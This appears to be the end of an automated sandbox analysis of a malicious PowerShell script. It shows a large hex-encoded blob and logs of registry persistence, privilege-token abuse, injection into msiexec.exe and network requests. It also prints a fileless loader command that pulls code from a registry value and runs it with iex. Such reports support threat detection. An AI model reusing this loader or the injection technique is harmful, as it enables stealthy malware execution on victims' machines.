d27930850c6968ad7493ead13e29ff388f45ae046431f74739379c63f86f5bf0ed2c19b1e2962bf7d8aa0a92f196a641b2c880185b2bf1c0ce841aa55ce86e151563e79a917d0e593b7703dfbf61f1355554484e7c4f1731e1b815eddcd114f61ddd81ffc19e87049e362543a3b21387a1070cfd284468d32ebb96f85adbbbe7c0965f9d0757611112f9fdae337676ad492c5f784ae3adf551650468b466fed8c4c99a51f7cbfa82bff89fa466cf450f9fa314e761d25576ee9328e35cf3aed8d66aadbff9a01825c0f18ed60d76b0b0013cee51edcca62643f8c2432fa1d51d4ab10958a07900bfefaa05fb8506f39c0254f8db5f5585cc35990846499661385d4695b8b9041c57881e31d433ed662535a27fcd1650b098c329f447516fa896a54a728f29e503d3a22f8bac92d95029e258a6e236e610286bb235f929967441a868bd43b57ea5dfa7b99935ce5b6450a314388d7eeb122546c41a90e4e87b9e8f22d782a458856482109f1161943fcb3bccd949abe60022cf307db6bdbeb4ed66495ccb5413e1129d7f9feb2cf0fcc44d222696d3b12f3f8ed6eac8274e3e82e1e043faff9b2461b80de23714de30e20d109ac68ce446684b520fe75ded133bbe48dec9cc403ce280cc2be7811ccb6ef0fc0a1a9ed80108138cc6c7929b284a5a9d74d66abf3adccc1f294a2fb5a3bf71c8e29086763553c00540ef1230435e4cd6248bf49c12afae3e92dc5d6c37424392c8d773cb9ded566a6acb584708605585238d1f574ecdd4053c30bdf3495ab4d1e1ba42c0c5dfe1b476f3704bd1746942dde76c0c8333aa4dcab720635763e253fd78591af0f3a6dc43f70b195715004b3d1ebcaa784bf13f0e87c5316e236897280493b1d1cb203b798148bc816f9b8848e4ae31969cd95d9c1c8c0a9d7437bd42ac0633d80a63491f976f034b05a427f73a07c6a17604e9525645fd0456f77b0801145eee4a14dc0c2f05e7c4671d2e7f03bdac8553f847115d0188cc2beb4785fa5b3cf92a1544b337534d0b3b56589297c8805a7ba2ae96b8dd59903aad34e4ebe13ba97ab3043b6d6fd3f74471cc13d827b6c83b7d8f1b4c9d34c9dab1e7a5f7297120d16f0bcc379982bbbb0235c4513bc017a6cdfd04e632508217dbf024da1fd124d10632b600e30766ca4d226cfafe2dc137da4a0fb56244d4d53b25a0aabc6963f26b3b5661658154dd7a89d557aa167361899cae0e527e4f78fada66a37cba7dff72b7b68ace9b4d8662eedc5db3ae7a47cd73d0d296c0d820ff8b889e4d3ddce3a4bb71b7df7d429081faaf779d995c8ecfce22526fb46c5a71ee1c1f7f1fe21ae1785b72ecf23093e20396b2e14d382bb6c151bb29e3ccf9c2047e261b3769296b8fb875237c4da0b79e39070f333646e8594e7253fe39bf29a78ca9aef5bef321ba4dec3743357e40b968d8089d6ed6c52a3f52b69ffcea38a00ad9416719135e757041945e87e8594bf67c577ed83ef4370068038c044902d6169b2524b2534ca605178559b3909414524ef7705a3893fe72957568abdd87fd29038fd94b09182912df890a45efb57d7570fe4d9c02e9c547a08b24225bbd8cd9c702320e1740f6bd5b9c4981416d1614c203eecdad1f0b7a0f949ea6b474003bb470c211122493d3d9cc5ec0e4e08b1629cf2e8114c614c6c3c4ca4df0b2d849f85bc0d183cd9998b5203150d0a7fbf56a5f51637cea4a0e62252c051de0fd40271c1a480adce5a0c020cd6724516bc69775a642a916fe9c0cfeb152e7baa6511b6689c44a0f90e7c54ef09e4a692f80771fb8a1493366e5e5a7a1ee48a614b9c7b2d743838d0e018147b068aebfb52181fa3d51eaedac98c29f730fbbcf79c6b6b06bf5fa73a297c29541e82d17f76083ebe61ec23f4555c1518df73df523150f2093174a101e0f476a6a6bedf55fcc4ab6aefbeb7e18fbedd4802b8ae58f1f39e14ad01067a4ea5d2274db072c5660f9a36e8be1a37116c1857b17e659fb8d6a5995457375db541363a0879c9798c021341b8f32c011fe87c3bfa59ecf812f9e9aef9bb74bd94dd780795fe87103c7412a8ce9d47ad72c5ac4739d727fa16edbfcb83cfa203ac73d872930225e56d43da544606c97946cec5cc196155418df23bd3ae3a17d1f3b0c092271d02a59400dc2d5cdd82117dfa1b3cf00b5ef09ffa6296877893c7fc89ed6cb7460741d5053e2a8253fe3f33691618ef945e4430500a3019f057abc16c2e80daae3a365704591ecb217e261e42590f49f71e94c4f1e125abdd046a6a34cba7314f06a4645e8784923b75588bd84449bd30aa8fde93f58f1f39f170d8c2a394d0e029815dacc6a3f53bfe9ef56016f258a4f04561ab592826770d2f94c2c416dec2b6f433fd173dca0fff0e28361b50e2d6e23d76288ecbf99cfc9f8dfdfe7193e7176a814b5722ada820621b04efcc4ba1fbb3b4b9f48bc4c563fa6de4a244dda6dfc8d09234ff75b4327b47e1588c8bcd0e708df43b8ba6b4eecac52d3563c544a8630b1d68c156c3cfef26b37c04d33679b5da5f4a9b0238854d78c09a5702e421196e88af855c7a793764388d7e5287b899e733630c30ec5e6df35f64db17f99bc2d0f5a22dda8e6f1c6e1f5639d5bb8d99138f5078ef9f7bd7099c088b0463d128a744d280986cb93a128595eab5f6301b6e4f13af7c6fb3bbfc9ddf94e12734bc2ee779c668571a8b1d53a79ed8b8e34ff3926af2313dabf14c2bb3d97976c4f91d9dc5e92060656977362b7b0590c64b1241de312c8b208e64ff44a61e57d674ce40d6989f7483d68deb80ef1c9dd8bf2e8bed2bd0876fe26183ad56ec6f7941a13cbb2f4560a7ab3cf4c01f6589efd0c6590180caaaee3d01556ca20facb3d61020ca6e5031632455035eec445a1628b7e9b42881a52bc7123b5006f02312775e9f0c179cf550839ca9b11933782a25adb90b49e29da35f2cdb5d647c6dd8261126f6b536c3593a93f5dc4c8cd3bfbf859d2a04b023fa431e391d5fa3cbb6cddc1745988b68419fff5fe2edf1efaaa727600d011ff2122e7695eef5438c69179a39c710b2281c7339ac475bad750bb4c38baab731246f0a2abf9d05b657ba3a8d3f8f7f9e4f9a64e7c8e4bf14a846c1ecc59e10b87b3d123da0ced538137ff4a40e13a90fc1dd5175cf76d964bbb815a5dfbb49c70329c93dbad1460925f4273c96b899b230cdb4e08e97be0a7c8f4d0eb9f4aa583537a6bd4a0470443ae6de4441950ac91e97fe272137d85549c65fc78062a0254775b0b1403d176d4e907f69620957aa126d44745e74b66aa420b45ffea21791e7d5a93a948b692f068b7fe8617462e4d3eae204c85ddb06cb56fed4d892ff98db35502d1cb22d3a2a0e8861ee08c38c491ad1bd14b04c3ea4a127aadb25f12b4cb32d6f61fd21c29d520c48679232f753b0eba4c663b130639bd54c59d5c54520011f4d946b3caa13b32c323777acce51ce30b8ca4eea39567b749e70cb7bd20baddaefd9a713bc0ac514f9bf5e91dc73aa324b438a5d95b64112064336fc1fff29861aa0ebd00756252dfba55d83c9fd4db58ee0d665e18b317219f64e9b83c0fc9a248e1795501d7d9d8e0d8e63331b85487bd510d97f6ecb3bc3c57b13facde1076f1dd3b8210891a20e42b698c47e7f6c6ed7c6ab0d65366f052e7cca9b7ef9819692680bee18ca2a6cf836a892562bb8e75a19725d62c3ecc65fe8b4256a906de3fd88efb0a6ed5b7405a7eabb8a79d10349bf5eb274f717c8f2183012b42bc9d6e54d2cceacd51c500783b0d6bf4633e5048051c0aa57f9480acfb98391160ae4f3744b33b0f8006095c044f8ee036d6133f8003a70d963db1befc5b0c7b2ddf0fe794f4f59bd5687d3b2da54d6cd5ddade40b0e74d1e1bf0389243e563f9d3eb980d58d9fd7d0bd3c501ec7436e60da117d4ffa27796a1fa0de8694fc811f2e242d5142c386097571022b3eb8991cc71d3cf0690c01ef3dfadec5991be806bd2bf43e9802655872f8a1a51d51d07d6510d3dbebc6de534bc71e948908317f72ba925409120c250fb3797e14f318eca32c55a8ff4bea55504f8cd1bf37a729b59825c711de75f64c11647c165b7f7210f9e7ae837d3e09de7a555be25a695654be171127d9d82b2c2e6869e400f984a8a28bb5bf764795d77b4076c73bcce7ffc62035f8d2ba28d005362fe42b957be16dacd3e73c0e7f7dd12c9a13272ddffb8dacb31da5f5794635eec52db92d22a43084b56b356e68665db79b0f3fc23a75bf6d3783f0dd584fc01707b679ce735a3e2d053a4ac7358e051e029621d991370494863c06cd3df89b53d0e0e3c68050c28a190a516bdb54f48f2b7fcb52aa5eac6263e588412deb7127775f63be656a2c0bfa8211b0684d807a70e7a7f7653c0e7171f5f3e1481bbee3587724882262da37bbd7f675749809edea2712ce676f0955fbe06b2e6e37bb2ec4f43f5640950b20a3e2d85704671c6e77624946f35636b39358296635a34cbab6d5aaf35062fb9d4329e5862d8d7fbd86968e1df167976261c9dfffa3cff96fedba9f835dfae30d8c52171b0b6b6b16cce1e2f0cabe37c62af75a9422482427f72791c476b88da3b745d6e242fff4f03e20717be3b1a26ff00e5157e1e4014c119ee98ba4c782e1714be0986f387461ee1842db3984b0167d29f9914e59fd2ec3d5ac483a4c10d242aa0b5622c315c6b01a5ca498d5349a025ea535191eb212050647bfd4aa20862607aecf8270980a61b2d31a53e757287e621b27180c068dfa976af10a68aa464833aefe72cca56d5411bfe0d18b3f041f1f32abfc5d565b88857be9a1721564b5af7e8e38345abb60deb6aac597c618525efa0afa7a3e6c28b3acb6a15a53519679997644088a3167ae7ca0d2cb5a4a112463c4c43333e2c4bb13a38050039893cffc3ab064afc202e493b152e39dfe9cc71222927be23b0c316d5432b56f74ba0d7ac7a186f90c8f1d593c5086ddb4402b89f664946c9165afa578e6357caf717d9fa82c89b739d7130dac5f27cf2b3c04ca80d763407eb86747d4322e136fd6fc6dab87fb1a635c82e4da063cae4f4ca605e3775536fee809a157f5206377e07b87438591715f60920c2b0e0f9940ba5d5ad5eb2ea00add50846b84c83763c2d9752ded9c8fb9ac1aae8c68ce9f3bc6f840cf8c83eb0ed29c8c3ee6f546d127e88d85491a8520aec02d7058d8c485e34bc6c613211af9697291eafc0f03e2fae4dea86ad6d2fb75973ce3633357bab7817cb118d6e5d3e33b3b697a83d76583a13d106bdbaf072dcfbfb11c21d2824d5d7d2ee59ced1035b1b72517f35dba48564f28e279a7f89dd42a560bebc8fb3a5a8df7dc150f35281c020203fccb880a967346cd7533b17cdc6b939b937ad17593077c302ca6eb40b4d220f2d039944897ad89bd6a80005acf92a751a74289d9c12216a7cf77511efd1f3254133dce0f9ff289c23b70c48d7b16fc205f72ea4ed6978644fac4a9395108497aad41445b8d7b9d811dbef7563a0cecf416a418fb3d91ca659a82a39e37d9b42c4eb6b191abaf65d21a51fef57512bd552903f93806d1db9b8feff1e8fc6ac2dc63893cd31412197ecc1bec58ca3e57a2efa0ba182c5c82b5205de9ce03482152f63e190228c2aa633f09e63265ab81c8cba04b5ca97f9f2bbb62ccca4a7188b4fb7aaaa8273d312354f26b6e800cacfac0e14f64644508cde5f5f1f64bea26c2c5e217701389b0957f64a0961a9f0f9764e123c4546c687985b4ddfa6ee8ca201b6c05dee36ab884435a1f3b75e90c524c54382c56409496ff9d0961abd8066af7b0159da4e7223fe111e218dd91cf1e986f49c5a7cc4671312ddaa9ba2b812aa2af817d111c041b2450fc658eda24507c7625fbba65f30a61714ada1958d973f7f235ed157fb6663a7cb1cd658a2025c9e5274f5ce34b6ae517f54f7ce4cbae55fa02004561677ac8ccec6359d058caf967b37c1a9004102e002dd644501dda282b4552439e455dad7fe27a1ea75890f9aa2b9effed65d50ac35eebb3952365ec427fdf46281f8037b9d3f9a77759111a864925c068f36bfa648ccb835e768490bcdce5e24f7b943b6341a842126058ca63c3b24c60bbd6342544f07487c2f69b5a7d56a7a8cf25654dd595fcb1844a026c578cecbefd7a2f4b739a4fa6432e2c331cbcc267d2d34dd4ffb8fa0353011fa833439ea933a62d30be9a12579fa5aa7d7a0b121ff322e71c547b8d25a1ec1acb9975c7ee49aec43d31ffaf9676fc51ee124014e68557aef082a82b7e4dea8ed8245469cf988db414de4ef4ac0a15c24cda5278ffa346b410644712ccc13fee559ed20d85284c7a46be7a697e1df769ce2ece4a01a31a0d51d63b3856e8d83a94bef58dece5ecfc98efef8772a665f740d28bd34e7554eadf87baffb1d62db3b9030223f9388e076a28006b3aab1365640961a01f3a21081eaf2b0277223297eaaac322b3044bd7a1dd0dfd990cfac459acb24b98b5eaa8f89f9a89cd3f235d1d51c6660b74295844c7ba1dc52066b507e1bff32a5e108b84dba260540a417fdff030008729082a70f48a457eb52012035752fdf4c2112a8d171f467b8e2683357dd7bfb43ead09ff92656bb16e791297f721471462add93cfca6aaa7cbb760624167b6d2a56a68437f17d42d248c5f7b35c26d497bb32f469900a8c094e6fffdd7d81e30b4d18f19da174a8533f182efc19f478bdfe57afdb254cfcef92ee0ca124af2bb68d5aee4a601fca2d692c7441826e1788a1bd0061302a0c11bb7e464a834ff391ddee8fa1ab43a82f9584803bb58181a2a27365da1de7d03a3afd900ef6a766250cc6ea66a238dd7dd733c959dd4a897dbb46c9c8529c684233c5d6dcff54f028b82ec2f6abe3c0c4b1b1bc7a5b17aefe718e0525ee02cbf53eb291dcbb13755cfd39852ac3b519c48e43a3f6465f42258c6300c05a7ca3a99a7af700e06f364036ae9a5f3a733fcc2c069f72acaf43eb7686044266cc634fca8d4fafe8d4e2dbdc9a230a35f22908800c902b122e6172c88b7f4bd42a8a626b22034141639fe1aed869a21aa02825ddd3e129b0e01fc6a3743860dd5e3e109c0f52c4b07e37d15c82aab74e32ad310b051168fd3c3dbe20e03751d034a3f3e3b1436eaa9f5bf1d78d3b4d6b5887c060b13d7ede74f98d9b5534cf9dc70a4cac91e6e53dd7327bd720e269a6edc9b7b382cd84f01148683477c933b315722ebf180ed83d3bf56f1633e9fef29afb7ed693625f0711d0097cefdbf5e4d85fd1d8a8cd7f1b5d7f9e24dd4191967368a7bb4084cee94a537c1104fbe434d3ceb26af419a339695b1a6aabaad8c5d7109428832607e85d72c4fb50befb39228f3aa06f2e82160425cc102714f505581c04065d36372d777c6c36b8f0fca8186ad9daa8aa361c0bdaaa405f1ffc4d3f637d8c1293ac0bcac811b74d4db4bb6dfae6b19c64ec16a0f179103a878918d52518911e50b830c6417a8b4b8174acf174e8d6065d4898e198cb15c6e1543d1d9a3bbed32935bdcd19e442edf4506e1ad597dcfea3e7a14d0da7f317d995cfe514c9d380ab451a8f1f1de4a47462d9fa1c948a36ffb9d2c7a56b83ab9277371406f5c3e87e79a184249c0ddbcf1a66a794a70de5e6e9cebdf184ffb7c01b291e70a2c2836614b48c6f07ae56496d35c3d0147f2419a2529c44b21c30780bd876d57cb476009f6dd3ec32a876b5a9669614e09047239cabec282ac5a8e96c0f950e59fe70c525eb93ca82bd443abc31944e7d7d20e2fcbf9b583eec9c3bdc8ff3452cb9e48d815597d36b7c565d8bd230fde475bc135943ff3fbd1d6dfdf745d3c581ed25cf3acc7ea5208bd98216781e7e900b69be600441e22d3c0303943eda6ce4a7d998b154799d30192d90a43f55c87b60b0a3c91fd26638565ae89d894cb1baabbb5f6373d53563c67ede5edd36bb84661ba423c429c04bcd69ce99fa6d02c61220734825e9f9615342be56f7245a91bc28af990271d4e5c3082d9e6237b0c717b5ddbbaac282d5f7970de94ecc5e3b1bb00fbce33e3e9c6cbfab83038f99219858f2cabb0f66c83b0d359ceefb7247f7f0ccc7c7ce5d0761bf610263903e9ed8d3ced07464862bb6ebe0ad9a80f7100fef1fd9131a7b1f5131190bb3b0b2d5fc7327046dc4118a50744b6a3d72b9e440a19a8f9befbfb4f21cf29b42003a5f5b4343654b2aaa6424e83ddc06a69fa0cd7001d2399f2bc9c01d4f114dbdf9ea3d83434bcfbbed6e5e4f340fa73bfe046be86785ef0d25c06c294d9c1820e0d3218eee354544f8232135bbb37e3cb2b940759cbb8d766c937fac9050dada4c2e930e600c6cb1fb05815155234da0f0a4c46d6798f8da3993f0500583ee10676b54f65d2997515816de31b1b42272dd5db665eee055ca541de9907c2a5b5a1874689bfd3121da4ba050c0c0b12ce54c716d0fd1bfc4be95e52caa5cc42aeb34eb11cda2d6e210f08ca08d2e5d16f55127b5d57d99b4c65b37a87fce2d253bc578ca6c41d7acafefba36649b8378e8858d7d7ca9857c53e08ac1f935c49076b8e9fdd274b1fbca92e11b3893e203a03d5838d1d2e6853d1a76df0b16f43993168ad6a2ec04545675804e5273c221120c6c31f9d9d0d5e979d48baf2333ef3db2b08c20ed2cd737ffd828c36ca9f781f7eeb9a8a60a94454f57f4edcfd91dc84c22a3d5fda50751d064c3844c88326c4fa6a707f81f9164ea734065ffe3c4e7f7920968fd25af45acaa46b98edc91fea9dd30aef1b17625bfb7845de0bc3f3a0d99f9e92ac794d44a959b27bbe957b670229eb1fead9722f123996722faddb702b1e7da6ed7cb8dff997033a9ab08421447ae6645c9a08c4ab9d127c205ea9e8315da273067024a28ba02d4d757b55b0ebbbec92008c2cebe7640ae5fbfeea4564fedf33aa0719801e7e887e4d1a835cbc6f6f37d71b63d814523522488926f8ae4c9b61f955610d7821ea12f1b7e8383c35eaf56e7ea304cf389041bb68adfd4ceccda11bac9e80ef227a9663b596e6d2ea2e8e44d53f6640b60415df41338d8f0335556a21106ff953d078ac00fa669206bf4e8b6d8036a19ee8369b4ad7a260288b4b56ab23c6f5a8803fbef92fdc3bdfa5e51cfc8530fbf5946295aabc391d5501f1174b87fa20d82eeeb09acc6b18740bedfaeb6e9f2bc5f296d388e9e3230bcb5bd403f39631e2a6112fab0d9be73f7932bc94e9f9ab639f463705d3732c527eec304c2975af749f67c6f5f9c425d3bb5186908f6c96e22e5549e133c28861cf469dc79870c4c6af6e24e2d2e4c1b964aa90631f64473efca33d7f6d9ea0137b86338ecc46dd499820227ee21cf5ff3f84e365c44c0ac61be28d8b5ac39b652bd466e50cdd16cd3a28a33ad12f007674a5193dd8b0c6ba5946b9b659a59986b475079b434d213bd15ee5bcb7e0b5b50f8ffd09e968e48c38defebc29db70f8b09c637ccd404c16e436caec9f68599e833163783c050468b00198a923fb744e7a5c6e5d1637ce8982ac7c13a7dccc3e8ac580d826eaeb1f59770e838a8b528d797c41fb6b5ff769f5a1b5ea9cbae073aa6882b1087b20fa77ba379a39a0b8206d1c8b230b7dfb69d137f24a0c0f1c2dc705afc36bf58ffceb9a6fc233b375f0e03ee9cc75625c7d67cefe775981c3d970ce59871f73dceabfa3d04aab9aebd7b4a006f415a6debfe2319fd81328b1bb9f7a8aecbb3ef5d170eef9291dfd27782253b5209391074aa67d2437f6367d2f75973d6aff548bbaa23fe93bc619529e5013b2259963dbbcdda0bc617897a1def24b5ccf9c5b407080c9c3dc632270b70885b8bc8a6b6ad927683188291fc900743940b5e22c537355aa93698f24cd3b9cbb9e6ade7f70641b29bb58d8e57543baeb936d43e7fecae4b9b848aa1d4666db3aadfe49dc494eebd379ea5b5cbcc67af14b4c05456644d8751a1fdea26a28b0fb5ed7a756b10f5a4b8f68ecb353c091a784fa8581cad676be8f15ae63dc0fba44dde658b14bf4b452a2ed3ea5e50c79ff6ac4874de59671c39c09b5b2be3c525977cdb4a8fed1e3f34fb60cce0c8dddcf32a9d0e305dfd073017acfe50155d85037f5f1ed1621d1cb21a813df099c1260082b672b21c1c40b39e99226d10d055ee44a62af4eaea4a0800617a0e80d01ef26ac4ce7e90f7a486749faab0fd9731541bb9ea40b7c057d410c045b125ecded78e236fdbea4e089b8cad8fc93ae09493acda87b7d4bf65ce34cc4d00d5089c8352bdd3f2542d80244c80adb9ef91319c7b8c6e36cdc6436fb957e093d39e4295fd2bfedb6f6f17ffa3538caa8ad536f8257c6a88faed73721532fc565cdaca908aa5850b4df5163411c7e3897bd656114428f1178c8e2967ca438e5ddc131ae2eeda5f74bfe38ad30a0976c5cdabf6e4ade1c51919e06b7baf3a9cfb7067c4b9d2b308e67a68b85d41be17d91e69237989e00cda944b5883835c698059a9599ff02f5c4218c283f81da878cfe641a7cdbd4a9cb8fd6d7e6e207ca704ea66c9d2b82fc8ec7f7fb82a1afd451c6cfea19c882468250effb78bb6a969d4e5190439fef3ba034088cd4e52d57d4a267976752dae5cec54c44968cedc2b164a181f994768bf242f1a2dc24109b02fef59844288b53efab56402bf8e73dd905ac97afae8f1423c7d762f729d4a4c7a344ca07906cd1707990c990bed55441e08923f74347e1882189fa89fb9cfdcf07cfbb8b8f03ea52e8a9e68eaefcb3242ab5d895c1b6d285db88432398d3cb774e0b52e431dbd7830e5e5a34f49dc499194870523ea19b5c111e1fc6cda93bb5b1f02e0674d89eeb0b590ff3655e6f066f27be637b5798c79a85800b3e6da4c3164875a78df49af87207e5b9fa0029500512c9e517bbe0d101de8a1ca4fae512ce9ed1efebe30cf01b4b7f33cccba044e1121dcf4d69f00bcad6ecafcf5e99a56b36d1cf918053071c743c092044f6ed4c1e4fab639d6e5be306f425a2de9c070ff04d2b0d83b871dfab2a5be001c690278ef4ddb2556a30ffedd3cf357a23acd33cb173b947f81b532ad242bc55f77a18377caf25bd08c0bdc09e583fe3e35569e145501ae023979f68dcddc9ec49fba212d0f93b78e624791d8dd09d217c1aa794b1727da04d9e6114b12e860c8b370b1868ebec7ff23eeb32ade3a2924a583d52ca90b646eb9fcd6c421a37eaf540e1e0409fb09ef55a3a7186352350c920171e04f874c2e688a348da76a1e1330d59aa8e652dab1a1f4da7d5a355f063c8e4e2805236d522b116dd23b0337331ab999ccfc5076c6be7259eb964b3e055df6ca2e4d18b8a50b110147379d9c9a0507bc68c2ceec8d4f9ca4f87540a9efac8907336b74c38157c6750f761c3d7138d46fb7215dd870af671547c625ba22669fd51a2483bc52e2c4665f52a5654b852ac67a2409fd0e818dbc8a45f53f7187871e90eb684d866bf88f51ce284ec29f0c588b1338ce63a04fc2a24fc933772f6f2b14c35451b27830687ead6408cd46e14c9142b6f7bf4c37d9d5c758eab0581753aa1d5e279c33f63b777d15e5e2bc6ccadc8c5fc86440ae2420392197fd381db028f53ec39513ee93a48cda00fbc36eb48d156fe591e90d6953217b399b6235d9fd5255d7c5c183c7fa5c49cae9093b63e934a3cdf2270c45ff236983e32f15be41aa50ba8e7f5199fbc32d5ba08ab9c88b7ee07130e075dcd05092a03fa2aa435ae38a38a9a500af25009294232c3aa38b7aa592db005227087a32ea01e7d98b1c207f1283e0bee49c295aa6ad5144445c2c80f52b81c7b4c7a9bcd093198a8a3a2e58e6f579d1854b30675ae7ea7e0ee4ac96ac20680eb63aaa41205c157da4794c6363878e6a69386cc07be8eb1ff1e0f5cfd5279917015bbaed08178c2d1940007011e86c40cc73cb71e709f159cf6d3725a750164507bb6a828e46f4b3e3359295a8556988133c0baeb31f925b6f6c3d9bf47cb8259a485c827507c3e9fcc7068b4d547ee582cc2e990613b0f7a943540923fd2e8f50bfb3e512ed8275fe168d32e126bd852976c2b3634e8212b8714f99635a700ce52a31d6715f3670fc0cd9559f2758848f5c6694f00f8160ed8e04ecbf124c8e93dc374648b8bd8c3fce1da0d008f4b7066ade00fdf363127cee78fda53d52d6ba2b3b48e7683587aacc097a420ce4fadce15b9024fdd03843ccc2aed372152cd8ab80e5b95eb4dc1c2f3a2a86719aa9d645e963da5e088d046e7db6cf9cd2773e143bd0556e4f255a28ec65cd74b552293b6c8cdde181fac35b59202e1da7f2abdb0bf08d608161dfc761e22a4d3cdd8c872c25e1a26a4a5957a4b18cca360ff85dc82f9d5da904f64d4eef93bfe2621caf38ee5ac8c98a1cfbc3f6afa1331f35063956c1763f489a09db0faffc122eed00aafcc7167979fa481d294036966d1f8fe5c9d02febee84111ba8aa40f0762144f65d7626fd1cdcb30bc1baac8e37d303ec76fd2449d3e50c897e4078a756ab9fc58b3c6653d717229e9f4785c1a3e7c26cd0d43bbfc748520199ae1e14ce123d8557ec2d3b8c7be98b7971e591b978ccad7bbebe1fa60617c0a8ff4525e233b0efac6c380fe7468dd27d8ef6196db6225eb6a413b342a808ba6345b3805236505079d65787a8b75cb2ff0fe4e7d1d6d4125c7310e581326730985fdb40618b5912c6777bb71e7f58f9aa6418a893554d59f55534992303c9639defaa557e19ec38e55609fcaf51cb2da8e98e29d556e2fa2e71435900711aa900377563e2670775b29f69d3a40b65f99ecc281cc73b92817ed0973faa2e9d7c6e4ef324fd0a02347d52a969e5e07d67a51cea1b4923f75baf843f6d2aa1d666344630c89ce496fbd4ca4a3bf575f32f4f7f2b143c8a8663b7d362afcadaca7b98c37839da16609439214bcff7b545045d56165c7171b99e71baf187f929a680ef4bc9cdad108d77f6dc163f7289fa4f8c109be2b72b94fa3ff848913e75e9019978afd39149c643cdbdf987f3b5023ad5f67f5443c2ee1fd9ddd661dbe76daddf14e86a460cd16c7b4302bfa49d6e4b5949ce0bdb5385d37922d80e99a91653096bf88833caa7df80d8f0739f36a62c8c94963b8911cc55daf710ad3f062f886564aa69aaea159ecc25417117a62d54bb8918b3ebd0b44d9d3df2c7b5d3593a4e488aeac52798680b8d67aedc5d727039d6871de62b6b2cedcfb06a2479bc50dce3c8c7e3df43ba343dccb993d2345d7cee00dda859bcf78da530f230c5073ac7f263baa7de64208afbfbcd8ee1bc815f84d76270507917bc6916ca1c5dd53f1688effda0379ecacfeae67b3343cbc5e4c85e3372a powershell.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\ID = "0" msiexec.exe Set value (str) \REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000_CLASSES\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\z.ps1" powershell.exe Key created \REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000_CLASSES\{0A010B01-0C02-0D03-0E04-0F050F061007} powershell.exe Set value (str) \REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000_CLASSES\{0A010B01-0C02-0D03-0E04-0F050F061007}\ = "{0A010B01-0C02-0D03-0E04-0F050F061007}" powershell.exe Key created \REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000_CLASSES\CLSID\{2DEA658F-54C1-4227-AF9B-260AB5FC3543} powershell.exe Key created \REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000_CLASSES\CLSID\{000A010B-010C-020D-030E-040F050F0610}\ProgID powershell.exe Set value (str) \REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000_CLASSES\CLSID\{000A010B-010C-020D-030E-040F050F0610}\ProgID\ = "{0A010B01-0C02-0D03-0E04-0F050F061007}" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000_CLASSES\ msiexec.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 1556 powershell.exe 1556 powershell.exe 1560 msiexec.exe 896 powershell.exe -
Suspicious behavior: MapViewOfSection 1 IoCs
pid Process 1556 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 1556 powershell.exe Token: SeDebugPrivilege 896 powershell.exe -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 1556 wrote to memory of 1560 1556 powershell.exe 30 PID 1556 wrote to memory of 1560 1556 powershell.exe 30 PID 1556 wrote to memory of 1560 1556 powershell.exe 30 PID 1556 wrote to memory of 1560 1556 powershell.exe 30 PID 1556 wrote to memory of 1560 1556 powershell.exe 30 PID 1560 wrote to memory of 896 1560 msiexec.exe 33 PID 1560 wrote to memory of 896 1560 msiexec.exe 33 PID 1560 wrote to memory of 896 1560 msiexec.exe 33
Processes
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\z.ps11⤵
- Blocklisted process makes network request
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1556 -
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe2⤵
- Blocklisted process makes network request
- Deletes itself
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1560 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -c "&{$v1='0577';$k1='hkcu:\Software\Classes\CLSID';$p1=(gp $k1).$v1;rp $k1 $v1;set-itemproperty -pat $k1 -n $v1 -va (($p1|iex)|out-string);exit}"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:896
-
-